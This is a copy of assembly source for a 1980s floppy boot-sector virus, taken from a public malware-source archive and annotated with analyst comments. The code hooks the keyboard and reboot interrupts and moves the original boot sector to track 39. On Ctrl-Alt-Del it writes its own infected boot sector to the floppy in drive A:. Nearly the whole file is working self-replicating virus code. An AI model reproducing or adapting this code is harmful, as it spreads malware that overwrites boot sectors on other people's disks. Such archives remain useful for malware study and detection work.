mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-27 09:28:25 +00:00
381 lines
16 KiB
NASM
381 lines
16 KiB
NASM
;-----------------------------------------------------------------------;
|
||
; This virus is of the "FLOPPY ONLY" variety. ;
|
||
; It replicates to the boot sector of a floppy disk and when it gains control
|
||
; it will move itself to upper memory. It redirects the keyboard ;
|
||
; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ;
|
||
; it will attempt to infect any floppy it finds in drive A:. ;
|
||
; It keeps the real boot sector at track 39, sector 8, head 0 ;
|
||
; It does not map this sector bad in the fat (unlike the Pakistani Brain)
|
||
; and should that area be used by a file, the virus ;
|
||
; will die. It also contains no anti detection mechanisms as does the ;
|
||
; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ;
|
||
; sector 9 because this is common to all floppy formats both single ;
|
||
; sided and double sided. It does not contain any malevolent TROJAN ;
|
||
; HORSE code. It does appear to contain a count of how many times it ;
|
||
; has infected other diskettes although this is harmless and the count ;
|
||
; is never accessed. ;
|
||
; ;
|
||
; Things to note about this virus: ;
|
||
; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
|
||
; is its primary (only for that matter) means of reproduction to other ;
|
||
; floppy diskettes. The only way to remove it from an infected system ;
|
||
; is to turn the machine off and reboot an uninfected copy of DOS. ;
|
||
; It is even resident when no floppy is booted but BASIC is loaded ;
|
||
; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ;
|
||
; it activates and infectes the floppy from which the user is ;
|
||
; attempting to boot. ;
|
||
; ;
|
||
; Also note that because of the POP CS command to pass control to ;
|
||
; its self in upper memory, this virus does not to work on 80286 ;
|
||
; machines (because this is not a valid 80286 instruction). ;
|
||
; ;
|
||
; The Norton Utilities can be used to identify infected diskettes by ;
|
||
; looking at the boot sector and the DOS SYS utility can be used to ;
|
||
; remove it (unlike the Pakistani Brain). ;
|
||
;-----------------------------------------------------------------------;
|
||
;
|
||
ORG 7C00H ;
|
||
;
|
||
TOS LABEL WORD ;TOP OF STACK
|
||
;-----------------------------------------------------------------------;
|
||
; 1. Find top of memory and copy ourself up there. (keeping same offset);
|
||
; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
|
||
; 3. Redirect int 9 (keyboard) to ourself in top of memory ;
|
||
; 4. Jump to ourself at top of memory ;
|
||
; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ;
|
||
;-----------------------------------------------------------------------;
|
||
BEGIN: CLI ;INITIALIZE STACK
|
||
XOR AX,AX ;
|
||
MOV SS,AX ;
|
||
MOV SP,offset TOS ;
|
||
STI ;
|
||
;
|
||
MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512)
|
||
MOV DS,BX ;
|
||
MOV AX,[0013H] ;
|
||
MUL BX ;
|
||
SUB AX,07E0H ; (7C00H+512)/16
|
||
MOV ES,AX ;
|
||
;
|
||
PUSH CS ;DS = CS
|
||
POP DS ;
|
||
;
|
||
CMP DI,3456H ;IF THE VIRUS IS REBOOTING...
|
||
JNE B_10 ;
|
||
DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1--
|
||
;
|
||
B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY
|
||
MOV DI,SI ;
|
||
MOV CX,512 ;
|
||
CLD ;
|
||
REP MOVSB ;
|
||
;
|
||
MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO
|
||
MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE
|
||
MOV CX,128 ;
|
||
REP MOVSB ;
|
||
;
|
||
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
|
||
;
|
||
PUSH ES ;ES=HI ; JUMP TO OUR HI CODE WITH
|
||
NOP
|
||
;
|
||
PUSH DS ;DS=0 ; ES = DS
|
||
POP ES ;
|
||
;
|
||
MOV BX,SP ; SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00
|
||
MOV DX,CX ;CX=0 ;DRIVE A: HEAD 0
|
||
MOV CX,2708H ; TRACK 40, SECTOR 8
|
||
MOV AX,0201H ; READ SECTOR
|
||
INT 13H ; (common to 8/9 sect. 1/2 sided!)
|
||
JB $ ; HANG IF ERROR
|
||
;
|
||
JMP JMP_BOOT ;JMP 0000:7C00
|
||
;
|
||
;-----------------------------------------------------------------------;
|
||
; SAVE THEN REDIRECT INT 9 VECTOR ;
|
||
; ;
|
||
; ON ENTRY: DS = 0 ;
|
||
; ES = WHERE TO SAVE OLD_09 & (HI) ;
|
||
; WHERE NEW_09 IS (HI) ;
|
||
;-----------------------------------------------------------------------;
|
||
PUT_NEW_09: ;
|
||
DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024
|
||
;
|
||
MOV SI,9*4 ;COPY INT 9 VECTOR TO
|
||
MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!)
|
||
MOV CX,0004 ;
|
||
;
|
||
CLI ;
|
||
REP MOVSB ;
|
||
MOV Word Ptr [9*4],offset NEW_09
|
||
MOV [(9*4)+2],ES ;
|
||
STI ;
|
||
;
|
||
RET ;
|
||
;
|
||
;-----------------------------------------------------------------------;
|
||
; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ;
|
||
;-----------------------------------------------------------------------;
|
||
ACK_KEYBD: ;
|
||
IN AL,61H ;RESET KEYBOARD THEN CONTINUE
|
||
MOV AH,AL ;
|
||
OR AL,80H ;
|
||
OUT 61H,AL ;
|
||
XCHG AL,AH ;
|
||
OUT 61H,AL ;
|
||
JMP RBOOT ;
|
||
;
|
||
;-----------------------------------------------------------------------;
|
||
; DATA AREA WHICH IS NOT USED IN THIS VERSION ;
|
||
; REASON UNKNOWN ;
|
||
;-----------------------------------------------------------------------;
|
||
TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39
|
||
DB 27H,0,2,2 ; (CURRENTLY NOT USED)
|
||
DB 27H,0,3,2 ;
|
||
DB 27H,0,4,2 ;
|
||
DB 27H,0,5,2 ;
|
||
DB 27H,0,6,2 ;
|
||
DB 27H,0,7,2 ;
|
||
DB 27H,0,8,2 ;
|
||
;
|
||
;A7C9A LABEL BYTE ;
|
||
DW 00024H ;NOT USED
|
||
DB 0ADH ;
|
||
DB 07CH ;
|
||
DB 0A3H ;
|
||
DW 00026H ;
|
||
;
|
||
;L7CA1: ;
|
||
POP CX ;NOT USED
|
||
POP DI ;
|
||
POP SI ;
|
||
POP ES ;
|
||
POP DS ;
|
||
POP AX ;
|
||
POPF ;
|
||
JMP 1111:1111 ;
|
||
;
|
||
;-----------------------------------------------------------------------;
|
||
; IF ALT & CTRL & DEL THEN ... ;
|
||
; IF ALT & CTRL & ? THEN ... ;
|
||
;-----------------------------------------------------------------------;
|
||
NEW_09: PUSHF ;
|
||
STI ;
|
||
;
|
||
PUSH AX ;
|
||
PUSH BX ;
|
||
PUSH DS ;
|
||
;
|
||
PUSH CS ;DS=CS
|
||
POP DS ;
|
||
;
|
||
MOV BX,[ALT_CTRL W] ;BX=SCAN CODE LAST TIME
|
||
IN AL,60H ;GET SCAN CODE
|
||
MOV AH,AL ;SAVE IN AH
|
||
AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
|
||
;
|
||
CMP AL,1DH ;IS IT A [CTRL]...
|
||
JNE N09_10 ;...JUMP IF NO
|
||
MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
|
||
JMP N09_30 ;
|
||
;
|
||
N09_10: CMP AL,38H ;IS IT AN [ALT]...
|
||
JNE N09_20 ;...JUMP IF NO
|
||
MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
|
||
JMP N09_30 ;
|
||
;
|
||
N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)...
|
||
JNE N09_30 ;...JUMP IF NO
|
||
;
|
||
CMP AL,17H ;IF [I]...
|
||
JE N09_X0 ;...JUMP IF YES
|
||
CMP AL,53H ;IF [DEL]...
|
||
JE ACK_KEYBD ;...JUMP IF YES
|
||
;
|
||
N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME
|
||
;
|
||
N09_90: POP DS ;
|
||
POP BX ;
|
||
POP AX ;
|
||
POPF ;
|
||
;
|
||
DB 0EAH ;JMP F000:E987
|
||
OLD_09 DW ? ;
|
||
DW 0F000H ;
|
||
;
|
||
N09_X0: JMP N09_X1 ;
|
||
;
|
||
;-----------------------------------------------------------------------;
|
||
; ;
|
||
;-----------------------------------------------------------------------;
|
||
RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!?
|
||
MOV AX,0800H ;AL=0, AH=DELAY ARG
|
||
OUT DX,AL ;
|
||
CALL DELAY ;
|
||
MOV [ALT_CTRL],AX ;AX=0 ;
|
||
;
|
||
MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR
|
||
INT 10H ;
|
||
MOV AH,2 ;SET CURSOR POS 0,0
|
||
XOR DX,DX ;
|
||
MOV BH,DH ; PAGE 0
|
||
INT 10H ;
|
||
;
|
||
MOV AH,1 ;SET CURSOR TYPE
|
||
MOV CX,0607H ;
|
||
INT 10H ;
|
||
;
|
||
MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW)
|
||
CALL DELAY ;
|
||
;
|
||
CLI ;
|
||
OUT 20H,AL ;SEND EOI TO INT CONTROLLER
|
||
;
|
||
MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS
|
||
MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!)
|
||
MOV SI,offset BEGIN - 128 ;
|
||
MOV CX,128 ;
|
||
CLD ;
|
||
REP MOVSB ;
|
||
;
|
||
MOV DS,CX ;CX=0 ;DS=0
|
||
;
|
||
MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
|
||
MOV [(19H*4)+2],CS ;
|
||
;
|
||
MOV AX,0040H ;DS = ROM DATA AREA
|
||
MOV DS,AX ;
|
||
;
|
||
MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0
|
||
INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
|
||
;
|
||
PUSH DS ;IF BIOS F000:E502 == 21E4...
|
||
MOV AX,0F000H ;
|
||
MOV DS,AX ;
|
||
CMP Word Ptr [0E502H],21E4H ;
|
||
POP DS ;
|
||
JE R_90 ;
|
||
INT 19H ; IF NOT...REBOOT
|
||
;
|
||
R_90: JMP 0F000:0E502H ;...DO IT ?!?!?!
|
||
;
|
||
;-----------------------------------------------------------------------;
|
||
; REBOOT INT VECTOR ;
|
||
;-----------------------------------------------------------------------;
|
||
NEW_19: XOR AX,AX ;
|
||
;
|
||
MOV DS,AX ;DS=0
|
||
MOV AX,[0410] ;AX=EQUIP FLAG
|
||
TEST AL,1 ;IF FLOPPY DRIVES ...
|
||
JNZ N19_20 ;...JUMP
|
||
N19_10: PUSH CS ;ELSE ES=CS
|
||
POP ES ;
|
||
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
|
||
INT 18H ;LOAD BASIC
|
||
;
|
||
N19_20: MOV CX,0004 ;RETRY COUNT = 4
|
||
;
|
||
N19_22: PUSH CX ;
|
||
MOV AH,00 ;RESET DISK
|
||
INT 13 ;
|
||
JB N19_81 ;
|
||
MOV AX,0201 ;READ BOOT SECTOR
|
||
PUSH DS ;
|
||
POP ES ;
|
||
MOV BX,offset BEGIN ;
|
||
MOV CX,1 ;TRACK 0, SECTOR 1
|
||
INT 13H ;
|
||
N19_81: POP CX ;
|
||
JNB N19_90 ;
|
||
LOOP N19_22 ;
|
||
JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC
|
||
;
|
||
;-----------------------------------------------------------------------;
|
||
; Reinfection segment. ;
|
||
;-----------------------------------------------------------------------;
|
||
N19_90: CMP DI,3456 ;IF NOT FLAG SET...
|
||
JNZ RE_INFECT ;...RE INFECT
|
||
;
|
||
JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR
|
||
JMP 0000:7C00H ;
|
||
;
|
||
;-----------------------------------------------------------------------;
|
||
; Reinfection Segment. ;
|
||
;-----------------------------------------------------------------------;
|
||
RE_INFECT: ;
|
||
MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH
|
||
MOV CX,00E6H ; OURSELF
|
||
MOV DI,SI ;
|
||
PUSH CS ;
|
||
POP ES ;
|
||
CLD ;
|
||
REPE CMPSB ;
|
||
JE RI_12 ;IF NOT EQUAL...
|
||
;
|
||
INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!)
|
||
;
|
||
;MAKE SURE TRACK 39, HEAD 0 FORMATTED ;
|
||
MOV BX,offset TABLE ;FORMAT INFO
|
||
MOV DX,0000 ;DRIVE A: HEAD 0
|
||
MOV CH,40-1 ;TRACK 39
|
||
MOV AH,5 ;FORMAT
|
||
JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW !
|
||
;
|
||
; <<< NO EXECUTION PATH TO HERE >>> ;
|
||
JB RI_80 ;
|
||
;
|
||
;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
|
||
RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0
|
||
MOV BX,offset BEGIN ;TRACK 40H
|
||
MOV CL,8 ;SECTOR 8
|
||
MOV AX,0301H ;WRITE 1 SECTOR
|
||
INT 13H ;
|
||
;
|
||
PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW)
|
||
POP ES ;
|
||
JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE
|
||
;
|
||
MOV CX,0001 ;WRITE INFECTED BOOT SECTOR !
|
||
MOV AX,0301 ;
|
||
INT 13H ;
|
||
JB RI_80 ; IF ERROR...JUMP TO BOOT CODE
|
||
;
|
||
RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"...
|
||
INT 19H ;...FLAG AND REBOOT
|
||
;
|
||
RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
|
||
DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT)
|
||
JMP JMP_BOOT ;
|
||
;
|
||
;-----------------------------------------------------------------------;
|
||
; ;
|
||
;-----------------------------------------------------------------------;
|
||
N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS
|
||
;
|
||
MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG
|
||
MOV BX,0040H ;
|
||
MOV DS,BX ;
|
||
MOV [0072H],AX ; 0040:0072 = RESET FLAG
|
||
JMP N09_90 ;
|
||
;
|
||
;-----------------------------------------------------------------------;
|
||
; DELAY ;
|
||
; ;
|
||
; ON ENTRY AH:CX = LOOP COUNT ;
|
||
;-----------------------------------------------------------------------;
|
||
DELAY: SUB CX,CX ;
|
||
D_01: LOOP $ ;
|
||
SUB AH,1 ;
|
||
JNZ D_01 ;
|
||
RET ;
|
||
;
|
||
;-----------------------------------------------------------------------;
|
||
; ;
|
||
;-----------------------------------------------------------------------;
|
||
A7DF4 DB 27H,00H,8,2
|
||
|
||
COUNTER_1 DW 001CH
|
||
ALT_CTRL DW 0
|
||
A7DFC DB 27H,0,8,2
|
||
|